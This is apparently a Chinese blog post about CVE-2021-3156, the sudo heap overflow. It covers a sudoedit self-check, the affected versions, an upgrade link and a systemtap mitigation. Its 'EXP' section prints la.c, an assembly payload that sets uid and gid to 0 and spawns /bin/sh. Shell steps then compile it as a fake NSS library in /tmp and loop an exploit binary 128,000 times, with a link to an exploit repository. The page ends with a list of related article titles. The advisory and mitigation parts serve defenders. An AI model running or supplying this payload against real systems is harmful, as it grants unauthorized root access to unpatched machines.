漏洞详情

CVE-2021-3156: 缓冲区溢出漏洞

sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。

POC

用户可以使用如下方法进行自查:

以非root用户登录系统,并使用命令sudoedit -s /

- 如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。

- 如果响应一个以usage:开头的报错,那么表明补丁已经生效。

影响版本

sudo:sudo: 1.8.2 - 1.8.31p2

sudo:sudo: 1.9.0 - 1.9.5p1

修复建议

通用修补建议

下载升级sudo软件包,下载链接为:

sudo软件包下载地址

https://www.sudo.ws/dist/

临时修补建议

对于无法立即更新的用户,建议使用systemtap进行以下临时缓解:

1. 安装所需的systemtap软件包和依赖项:

systemtap yum-utils kernel-devel-"$(uname -r)"

对于RHEL 7,使用命令安装 kernel debuginfo:debuginfo-install -y kernel-"$(uname -r)"。对于RHEL 8,使用命令安装 sudo debuginfo:debuginfo-install sudo

2. 创建以下systemtap脚本(将文件命名为sudoedit-block.stap):

probe process("/usr/bin/sudo").function("main") {command = cmdline_args(0,0,"");if (strpos(command, "edit") >= 0) {raise(9);}
}

3. 使用以下命令安装脚本:(使用root权限)

# nohup stap -g sudoedit-block.stap &

该脚本将使得易受攻击的sudoedit二进制文件停止工作。sudo命令仍将照常工作。上述更改在重启后失效,必须在每次重启后重新应用。

4. 一旦安装了补丁程序,就可以通过取消systemtap进程来删除systemtap脚本。例如,通过使用:

# kill -s SIGTERM 7590 (其中7590是systemtap进程的PID)

EXP

la.c

static void __attribute__((constructor)) _init(void) {__asm __volatile__("addq $64, %rsp;"// setuid(0);"movq $105, %rax;""movq $0, %rdi;""syscall;"// setgid(0);"movq $106, %rax;""movq $0, %rdi;""syscall;"// dup2(0, 1);"movq $33, %rax;""movq $0, %rdi;""movq $1, %rsi;""syscall;"// dup2(0, 2);"movq $33, %rax;""movq $0, %rdi;""movq $2, %rsi;""syscall;"// execve("/bin/sh");"movq $59, %rax;""movq $0x0068732f6e69622f, %rdi;""pushq %rdi;""movq %rsp, %rdi;""movq $0, %rdx;""pushq %rdx;""pushq %rdi;""movq %rsp, %rsi;""syscall;"// exit(0);"movq $60, %rax;""movq $0, %rdi;""syscall;");
}

shell

cd /tmp
mkdir libnss_X
gcc -fpic -shared -nostdlib -o libnss_X/X.so.2 la.c
for i in {1..128000}; do echo -n "try number $i "; ./exploit; done

https://github.com/r4j0x00/exploits

CVE-2021-3156:Sudo 堆缓冲区溢出漏洞(有poc,exp待更新)相关推荐

  1. cve-2021-3156 linux下sudo堆缓冲区溢出漏洞的修复尝试

    一.漏洞情况 sudo堆溢出漏洞(CVE-2021-3156),漏洞隐藏十年之久,在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出.任何本地用户(普通用户和系统用户,sudoer和非sudoe ...

  2. 绿盟科技网络安全威胁周报2017.01 请关注MatrixSSL堆缓冲区溢出漏洞CVE-2016-6890

    绿盟科技发布了本周安全通告,周报编号NSFOCUS-16-39,绿盟科技漏洞库本周新增30条,其中高危9条.本次周报建议大家关注 MatrixSSL 堆缓冲区溢出漏洞 ,目前,此漏洞已经公布了一段时间 ...

  3. linux cdc设备驱动程序,Linux Kernel 'cdc-wdm' USB设备驱动程序堆缓冲区溢出漏洞

    发布日期:2013-03-14 更新日期:2013-03-19 受影响系统: Linux kernel 3.x Linux kernel 2.6.x 描述: --------------------- ...

  4. CVE-2021-2429:MySQL InnoDB Memcached 插件中的堆缓冲区溢出漏洞详解

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 2021年4月,ZDI 收到了一名匿名者提供的关于MySQL 数据库中某漏洞的报告,结果是位于 InnoDB memcached 插件中的基于堆 ...

  5. php crypt函数缓冲区溢出漏洞,GIMP 堆缓冲区溢出漏洞(CVE-2017-17784)

    GIMP 堆缓冲区溢出漏洞(CVE-2017-17784) 发布日期:2018-04-20 更新日期:2018-05-03 受影响系统:GIMP GIMP 2.8.22 描述: BUGTRAQ  ID ...

  6. 最新系统漏洞--UnRAR堆缓冲区溢出漏洞

    最新系统漏洞2021年12月13日 受影响系统: UnRAR UnRAR 5.6.1.3 UnRAR UnRAR 5.6.1.2 描述: UnRAR是一个可解压rar后缀文件的命令. UnRAR 5. ...

  7. radareorg/radare2 堆缓冲区溢出漏洞(CVE-2022-1383)

    编号 CVE-2022-1383 标题 radareorg/radare2 堆缓冲区溢出漏洞 描述 Radare2(简称为r2 )是用于逆向和分析二进制文件的完整框架. GitHub 存储库中 5.6 ...

  8. 全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

    靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日 靶机描述:欢迎使用" IMF&qu ...

  9. mysql溢出漏洞,Mysql 远程缓冲区溢出漏洞

    Mysql 远程缓冲区溢出漏洞 发布日期:2001-01-27 更新日期:2001-01-27 受影响系统:T.C.X DataKonsult MySQL 3.23.30 T.C.X DataKons ...

最新文章

  1. [深入浅出Cocoa]详解键值观察(KVO)及其实现机理
  2. 设置在桌面上不显示计算机,怎么在桌面上显示我的电脑 我的电脑桌面不显示怎么办...
  3. 【Spring注解系列11】Spring后置处理器BeanPostProcessor用法与原理
  4. 已解决AttributeError set object has no attribute items(亲测)
  5. oracle扩容日志文件,调整Oracle Redo Logfile日志文件的大小
  6. 安卓案例:利用下拉列表选择科目
  7. 两个网口芯片接一个变压器_一看就会:详细讲解网络变压器作用
  8. 二分法查找c语言程序_用C++写二分查找了!【手绘漫画】图解LeetCode之搜索插入位置(LeetCode 35)...
  9. 转换动态磁盘到普通磁盘
  10. M3DGIS三维数字沙盘开发教程第51课可视化交互大数据地理信息系统开发教程第51课
  11. Maya火球特效制作
  12. 简单 黑苹果dsdt教程_[黑苹果入门]关于DSDT的入门知识
  13. 利用ECharts实现数据的左右移动
  14. Linux学习日志-01
  15. 用一部极客电影让你感受互联网科技的潜力
  16. STM32关于PVD低电压能检测的知识
  17. 判断回文数的简便算法
  18. 五分钟让你学会Python网络爬虫
  19. 考研高等数学知识框架
  20. 315/433无线模块解码

热门文章

  1. 《细胞》重磅成果!任兵课题组绘制迄今最大规模人类单细胞染色质可及性图谱...
  2. 给大家推荐9个专业分享生信技术的公众号
  3. R统计和作图文章汇总
  4. Bookdown平台分享了哪些书籍,如何使用Bookdown分享书籍
  5. 「轻松转换」专业的PDF转换Excel软件:PDF to Excel Converter for Mac
  6. 解决mac 系统软件被阻止载入点允许没反应的问题
  7. python爬取商城数据_Python爬取新版CRMEB小程序商城后台订单数据,保存为excel
  8. php node.js django,Vue.js和Django搭建前后端分离项目示例详解
  9. springboot使用mybatis_使用springboot+mybatis数据库存储服务化
  10. 无悔入华夏怎么一直显示服务器,无悔入华夏新手开局玩法 无悔入华夏新手攻略开局带的...